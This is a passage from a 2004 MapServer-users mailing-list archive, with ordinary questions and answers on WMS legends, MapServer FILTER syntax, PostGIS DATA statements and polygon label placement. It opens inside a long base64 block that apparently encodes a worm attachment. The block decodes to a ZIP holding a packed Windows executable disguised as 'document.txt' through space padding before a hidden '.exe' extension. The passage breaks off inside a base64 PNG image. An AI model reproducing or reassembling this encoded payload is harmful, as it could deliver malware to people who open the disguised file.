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 REREVVRERVVSUiIiI0SIiIhESZlERJmUUlIiIiNERERERESVRERJVFJSIiIjRIiIiIhESVVV WVRSUiIiI0RERERERESZmZlUUlIiIiNEiIiIiIhESVRJVFJSIiIjRERERERERESVSVRSUiIi I0SIiIiIiIhESVlUUlIiIiNERERERERERESZVFJSIiIjRIiIiIiIiIhESURSUiIiI0RERERE REREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIjRERERERERERERERSUiIiI0SIiIiIiIiIiIhE UlIiIiNERERERERERERERFJSIiIjRCIiIiJEiIiIiERSUiIiI0Q5kkRCREREREREUlIiIiNE MiIiIkSIiIiIRFJSIiIjRDRCd3JERERERERSUiIiI0QyIndyRIiIiIhEUlIiIiNENEJ3ckRE RERERFJSIiIjRDRCZmJERERERERSUiIiI0Q0QmZiREREREREUlIiIiNEMzIiIkRERERERFJS IiIjRERERERERERERERSUiIiI0JEJEJEJEJEJEJEMlIiIiNCRCRCRCRCRCRCRDJSIiIiJDND NDNDNDNDNDNDIiIiIiIiIiIiIiIiIiIiIiIi4AAAD+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAA B+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfg AAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH+AAAD/////+hHOgwQAFp wP1DA8AFwzieJiijEAPB+BAl/3+HAMOLRCRVBBLpVezsUQdTVlcz/zGJffzUFRxgICiL8GjI wDcPt0UIUGRWJhgh2FORFRQyUA4QITvHiYo8dCoWEQwNV2iArMBqAvGwEhFA/3VsDIo0CIiD +Pu/VAF1BDPA60HQ2zsD93YY6GH/HAKZuRsBUvH5i4CMMBQDQzveHnLojcz8V+F1bAh9eASK LgkRZ3o5sfwPlNhfXilbybIcgYxkDHxWcL5gBAxXjYWcb/OiplBqYCkVLKwNPSgNiCzg+06M 1xS8RvcAgH3+XIs1JMU9v+BF4XQKIiVXBdYhCmjQsC8dgL3ciVyhQjwgIf414aE5EDRhMAlq Zegyu/4QWZM/vQqDUI7KJpEgQbAGr3JECGrbBSjERqPkH8gWPIk9tyMtdFMUNOhsRXZ1IsYD FTg1fFBRWhIJdViWhRLAdAVUTRNGFSM0ERR1GQ9qAecwSBIC9NCQMTDCEAC0ODBAMpAJdCQQ Q1UnbJfOjmnPbQphCJ92j2Ug70Xvbu9j73LveexwK2X8ZM8mV+1vI5tMRA3WL+UWFM0wYkqf ClPZa1lOsydcLvND81p2M6gxcCr/w4U8NWSnLrhTDspGgZ9nmWgVc/lCVJEOhGsZA3X4ZXL2 bwBuZmlnOXguZHFs4RBCSU4YQVJZEEZWA1Byb3RlY5suo3i2MWBcAADgAeAC4CDiEM4RBA3o Fr4RfaQOeyiDRiIBjCgJEIkgFkmJFMDCnwEVgANvCBQHkAJmE8AC0BAJcFX/A7wIUgdBAgYT Co5CKAF3AWxwECif0QQIEHmZg/RE9/0mECKEEOL3jtACEJyRT70YCPCrARnSD48DgFx4wFQH sAOtBFIDOOqvAAAB4CBwQA5LRVJOYEwzMi5kcWzgRuhvBnNlSGFuGO3AWnI+aXQ6Rm4Vvr8p YQscQR1Wn3pHb2ZS53NRdXJjnzZPOqlrDWJhZBYQSWlutm56Sj10Tb5kKWxdsyJG8XB5SVKb 5HRGRMAkV8Frb3dzRN8+5GP56nmlOaAtFE5hbUyGUHLw8mTjnExzanYfTGliO1MvPlRQk0PP 7m40DRhMYbxFctxc68WMTXUIeMxOAwAAAAAAAAAAAAAAAABQSwECFAAKAAAAAABBen0wo4gd 3oBzAACAcwAAUwAAAAAAAAAAACAAAAAAAAAAZG9jdW1lbnQudHh0ICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5l eGVQSwUGAAAAAAEAAQCBAAAA8XMAAAAA ------=_NextPart_000_0016----=_NextPart_000_0016-- From gayathri at ou.edu Mon Mar 29 09:42:29 2004 From: gayathri at ou.edu (Swaminathan, Gayathri) Date: Mon, 29 Mar 2004 11:42:29 -0600 Subject: [Mapserver-users] WMS getlegendgraphic Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C0A245A3@XMAIL1.sooner.net.ou.edu> Hi: Is there a way to get legend grpahic or URL through WMS service? I see a bug filed here http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=262 What is the status on this? Thanks Gayathri From TMitchell at lignum.com Mon Mar 29 10:12:14 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Mon, 29 Mar 2004 10:12:14 -0800 Subject: [Mapserver-users] mapserv compiling error In-Reply-To: <406829A9.8030802@pml.ac.uk> Message-ID: Is this a web server that you are managing? Can you tell us what operating system/version it is running? Tyler > > When running ./configure on my remote webserver, these errors appear: From TMitchell at lignum.com Mon Mar 29 10:18:22 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Mon, 29 Mar 2004 10:18:22 -0800 Subject: [Mapserver-users] Full fledged TIGER Line Project ! In-Reply-To: Message-ID: > I am wondering if I need to use > Map Script or can the same itasca demo method will drive me there to achive > this . Have any one already done this ? You should probably just focus on using the CGI and avoid map script for now. When you hit limitations, then you'll want to dive deeper into mapscript, but you are proposing anything too complex yet. You need to have a look at the "query" capabilities in the itasca demo and you'll see that you can pass parameters to mapserver to zoom in to features, hilite them, etc. Once you've got this under your belt, then you can use text boxes and drop-down lists in your web page for the user to select the area to zoom to. > And moreover I want to render the > County maps with "search the location /city " type of queries in a Win CE > Powered PDAs ( similar to Pocket PC ) So I plan to have the TIGER files > stored in USB and then access the files to render the map based on queries It sounds like you want to run mapserver on a CE device, right? I don't know of anyone who has done this yet, but there was some querying about it on the list last week. If the device had Internet access, that would be much much better! From bob.basques at ci.stpaul.mn.us Mon Mar 29 10:35:09 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Mon, 29 Mar 2004 12:35:09 -0600 Subject: [Mapserver-users] FILTER, how to . . . In-Reply-To: <40666489.1020405@ci.stpaul.mn.us> References: <40666489.1020405@ci.stpaul.mn.us> Message-ID: <40686C5D.5020103@ci.stpaul.mn.us> blammo wrote: > All, > > I have this which works fine for a single name (city) lookup via the URL: > > LAYER > NAME cshed_ci > DATA '../data_points/lshed_ci_blkcentr' > STATUS DEFAULT > TYPE POINT > FILTERITEM W_NAME > FILTER '%city%' > CLASS > NAME ' 1 - 5 workers' > EXPRESSION ([H_WORKERS] <= 5) > SYMBOL 'circle' > SIZE 3 > OUTLINECOLOR 0 0 0 > COLOR 204 255 255 > END > CLASS . . . . . . . . . > > Question, how can I send in multiple filter items via the CITY= > parameter in the URL request? Using something like below didn't match anything in the database, some sort of and/or clause would need to be used somehow. Maybe it's the aspect of an undifined list length. the number of Cities would be variablefor example. > > CITY=MAPLEWOOD and SAINT PAUL and ROSEVILLE and > > will multiple CITY= work as seperate filters, like this: I tried a coupe of things from above, the Multiple city= didn't affect anything, seems like the first one in the URL took precedence. > > CITY=MAPLEWOOD&CITY=SAINT+PAUL&CITY=ROSEVILLE . . . . I'm still putzing with it. bobb From nacional at cbs.umn.edu Mon Mar 29 11:39:30 2004 From: nacional at cbs.umn.edu (Pericles Nacionales) Date: Mon, 29 Mar 2004 13:39:30 -0600 (CST) Subject: AW: [Mapserver-users] postgis data statement In-Reply-To: <200403291447.i2TElmEe022211@lists.gis.umn.edu> References: <200403291447.i2TElmEe022211@lists.gis.umn.edu> Message-ID: Gernot, Can you check your apache error log? It should tell you what's going wrong. Sorry I can't be much help here but your apache log should give you a pretty good idea of what's wrong. Good luck! -Perry On Mon, 29 Mar 2004, Gernot Katzlberger wrote: > hi perry & list, > > thanks for your help, a part of my problem is now fixed. I added a primary > key to the postgis tables and it worked. now a discovered another problem. > > > this statement using 3 classes works prefect: > > >DATA "the_geom from (select > >gd_world_samplesite.the_geom,gd_world_samplesite.oid,td_samplesite.coordina > >tesaccuracy,case > >when td_samplesite.coordinatesaccuracy = 'A' then 0 > >when td_samplesite.coordinatesaccuracy = 'P' then 1 > >when td_samplesite.coordinatesaccuracy = 'S' then 2 > >end as myclass > >from gd_world_samplesite,td_samplesite where gd_world_samplesite.ssid = > >td_samplesite.samplesiteid) > >as foo USING SRID=4326" > > > when I'm adding only one more class I get an "Internal Server Error" the > apache error message says:"Premature end of script headers: > /srv/www/cgi-bin/php". > > >DATA "the_geom from (select > >gd_world_samplesite.the_geom,gd_world_samplesite.oid,td_samplesite.coordina > >tesaccuracy,case > >when td_samplesite.coordinatesaccuracy = 'A' then 0 > >when td_samplesite.coordinatesaccuracy = 'P' then 1 > >when td_samplesite.coordinatesaccuracy = 'S' then 2 > >when td_samplesite.coordinatesaccuracy = 'T' then 3 > >end as myclass > >from gd_world_samplesite,td_samplesite where gd_world_samplesite.ssid = > >td_samplesite.samplesiteid) > >as foo USING SRID=4326" > > I' using php mapscript on a suse linux and postgres 7.3.4/postgis 0.8.1 > (PHP MapScript Version ($Revision: 1.190 $ $Date: 2004/01/30 17:01:12 $)) > > MapServer version 4.1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP > OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER > SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 > INPUT=SDE INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > the statements are working in psql so I don't think it's a postgis problem. > perhaps it is more on the mapscript side? > > many thanks, > gernot > > > -----Urspr?ngliche Nachricht----- > Von: Pericles Nacionales [mailto:nacional at cbs.umn.edu] > Gesendet: Freitag, 26. M?rz 2004 15:14 > An: Gernot Katzlberger > Cc: mapserver-users at lists.gis.umn.edu; Zamil.Murji at divestco.com > Betreff: RE: [Mapserver-users] postgis data statement > > The first thing that comes to mind is... indices! But then I can't know > what's going on with your database without any info. A little more > background on what you have (hardware, database, mapserver config, sql > query) would be helpful. > > Are you running the exact same query on psql and MapServer when you > compared the execution time? > > Have you created gist indices on your postgis tables? If not, visit > postgis's documentation and follow the example on creating a gist index. > > Good luck! > -Perry > > On Fri, 26 Mar 2004, Gernot Katzlberger wrote: > > > hi pericles, zamil & list, > > > > my postgis data statement works now in Mapserver, but it needs ~5 min to > > render it. when I start it, 99% of my system cpu usage is occupied by one > > process: > > > > postgres: {user} {database} 127.0.0.1 FETCH > > > > > > when I execute it in psql it works in milliseconds. > > mapserver and postgresql/postgis are on the same server. I also checked > the > > user privileges. > > > > many thanks for your help, > > > > gernot > > > > > > > > > > -----Urspr?ngliche Nachricht----- > > Von: mapserver-users-admin at lists.gis.umn.edu > > [mailto:mapserver-users-admin at lists.gis.umn.edu] Im Auftrag von Pericles > > Nacionales > > Gesendet: Donnerstag, 25. M?rz 2004 16:52 > > An: Zamil Murji > > Cc: knozi; mapserver-users at lists.gis.umn.edu > > Betreff: RE: [Mapserver-users] postgis data statement > > > > Gernot, > > > > Zamil is correct. If the SQL statement worked in psql (or some other > > frontend), it should work in MapServer. If not, the first place to check > > would be your PostgreSQL configuration and permissions. If your database > > is running remotely you might want to check that you have configured > > postgres to accept remote connections. If that is the case, try > > connecting as postgres (or whatever pg admin account you created). If it > > works, read the PostgreSQL docs for adding users. Sometimes it's just a > > matter of giving an existing database user select privileges on your > > postgis tables. I've posted other messages to related questions in the > > past. Have a look at the MapServer-users archive as I don't have a > > browser open. > > > > Cheers! > > > > Pericles S. Nacionales > > nacional at biosci.umn.edu > > > > > > On Thu, 25 Mar 2004, Zamil Murji wrote: > > > > > hi, > > > > > > Maybe it isn't the data statement that is hooped. Maybe you don't have > the > > proper permissions set for the database. Does the user/password that you > > supply to your connection string work? Is it a TRUSTed user? Maybe you > need > > to give the box that mapserver is installed on TRUSTed access to that > > postgres db. Take a look at your pg_conf.hba file (i think that is what it > > is called). > > > > > > Hope this helps. > > > Zamil > > > > > > -----Original Message----- > > > From: mapserver-users-admin at lists.gis.umn.edu > > > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of knozi > > > Sent: Thursday, March 25, 2004 4:34 AM > > > To: mapserver-users at lists.gis.umn.edu > > > Subject: [Mapserver-users] postgis data statement > > > > > > > > > hi list, > > > i've some problems with a postgis data statement. > > > > > > DATA "the_geom from > > > (select > gd_world_samplesite.the_geom,td_samplesite.maxdepth,case > > > when td_samplesite.maxdepth > 1000 then 1 > > > when td_samplesite.maxdepth > 500 then 2 > > > else 3 > > > end as myclass > > > from gd_world_samplesite,td_samplesite where > > > gd_world_samplesite.ssid = td_samplesite.samplesiteid) > > > as foo using unique gd_world_samplesite.oid using SRID=4326" > > > > > > when I execute the statement in postgres it works fine, but mapserver > > cannot > > > handle it. > > > The funny thing is that a similar statement on the same server, but > > > accessing another database, works. > > > > > > I'm using linux, postgresql 7.3.4, postgis 8.1 and Mapserver 4.1. > > > > > > any hints? > > > > > > thanks, > > > gernot > > > > > > > > > > > > > > > _______________________________________________ > > > Mapserver-users mailing list > > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > _______________________________________________ > > > Mapserver-users mailing list > > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From dgadoury at dmsolutions.ca Mon Mar 29 12:54:14 2004 From: dgadoury at dmsolutions.ca (Dean Gadoury) Date: Mon, 29 Mar 2004 15:54:14 -0500 Subject: [Mapserver-users] polygon label placement Message-ID: <40688CF6.3030100@dmsolutions.ca> This is a multi-part message in MIME format. --------------000008090409020702090109 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi, Every now and then I need to label polygons in MapServer and I'm often unsatisfied with the resulting placement. Labeling is fine for points and lines, but when it comes to polygons it can be unpredictable. I've attached an image produced by MapServer in which the label for Florida is in an odd location. Does anyone have any insight into how MapServer decides where to place labels in polygons? If I'm not mistaken the POSITION parameter will only place the label relative to the point at which MapServer decides the label will go. Depending on the label's POSITION its quite possible to have labels that fall completely outside a polygon. Is there a way to force labels to be within a polygon? Is there anything else I'm missing? In the attached image the label position is CC and the label is way up on the FL/AL border. Dean -- ___________________________ Dean Gadoury DM Solutions Group 30 Rosemount Ave. Suite 200 Ottawa, Ontario. K1Y 1P4 613.565.5056 ext. 24 dgadoury at dmsolutions.ca www.dmsolutions.ca --------------000008090409020702090109 Content-Type: image/png; name="label.png" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="label.png" 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 